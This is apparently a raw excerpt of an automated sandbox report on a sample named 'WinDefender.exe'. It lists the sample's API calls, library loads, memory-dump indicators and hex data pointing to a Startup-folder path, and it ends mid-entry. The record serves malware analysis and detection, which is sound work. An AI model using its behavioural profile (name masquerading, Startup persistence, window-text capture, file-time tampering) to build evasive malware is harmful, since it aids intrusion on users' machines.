1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700720061006d0073005c0053007400610072007400750070005c00570069006e0044006500660065000ce487773acba677d8ebef76ac0167000000670000000000000000000900cf009b000000000000000000000000000000000000000a00ca009b000000000000000000000038826700000000002000000000000000 (UID: 00000000-00001232) "WinDefender.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000006d0001000000ffffffff0200000008000000387f6b00387f6b00337f6b00000000000200000080ed6a0000000000010000080000000054fd180045588c77d6d43900feffffffccea1800873b04770200000080ed6a0000000000010000189e380477bcea1800c81c7f7592ec1800ab380477f0eb180080ed6a0000000000000000000000000078eb1800000067007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036006584605438eb18006d82157764136b0004010000 (UID: 00000000-00001232) "WinDefender.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000015770100000000800000000000000000000098e3180023331577cce318000080000000800000cce318003733157700000000d2e31800e58c6054b4e3180067321577ace818008d8c6054d8e51800135f7b75cce31800bee818000100000014ed180000af6c00e0ea1800205f7b7543003a005c0055007300650072007300000048004100500055004200570053007b00370035003800340037003100370037002d0046003000370037002d0034003100370031002d0042004400320043002d0041003600420042003200310036004d8b605450e418006d821577243a6d0004010000 (UID: 00000000-00001232)31:T4aa,Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API "742553094,3868,107,,GetActiveWindow,user32.dll,"252:32:48.148",RX=0,PX=0" (Indicator: "GetActiveWindow"; Source: "00000000-00001232.00000000.181966.00670000.00000004.mdmp") Found reference to API "71138601858,3868,107,,GetActiveWindow,user32.dll,"252:33:17.476",RX=0,PX=0" (Indicator: "GetActiveWindow"; Source: "00000000-00001232.00000001.183890.00670000.00000004.mdmp") Found reference to API "139850906562,3868,107,,GetActiveWindow,user32.dll,"252:33:46.102",RX=0,PX=0" (Indicator: "GetActiveWindow"; Source: "00000000-00001232.00000002.185813.00670000.00000004.mdmp")32:T6a3,"PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004124) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004124) "PING.EXE" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004124) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004124) "forfiles.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004392) "forfiles.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004392) "forfiles.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004392) "forfiles.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004392) "WinDefender.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter Kernel32.DLL (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00001232) "WinDefender.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001232)33:T2bf5,"cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003104) "PING.EXE" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004124) "PING.EXE" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004124) "forfiles.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004392) "forfiles.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004392) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004100) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00004100) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00004100) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00004100) "PING.EXE" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002292) "PING.EXE" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002292) "WinDefender.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter GetAdaptersInfo (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter GetLongPathNameW (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00001232) "WinDefender.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001232)34:T5159,Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "InterlockedCompareExchange"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "InterlockedExchange"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextLengthW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetActiveWindow"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DestroyIcon"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "LoadIconW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "AdjustWindowRectEx"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CreateAcceleratorTableW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "UnregisterClassW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "TranslateAcceleratorW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "TranslateMessage"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetFocus"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DestroyAcceleratorTable"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetRect"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "EnumChildWindows"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API 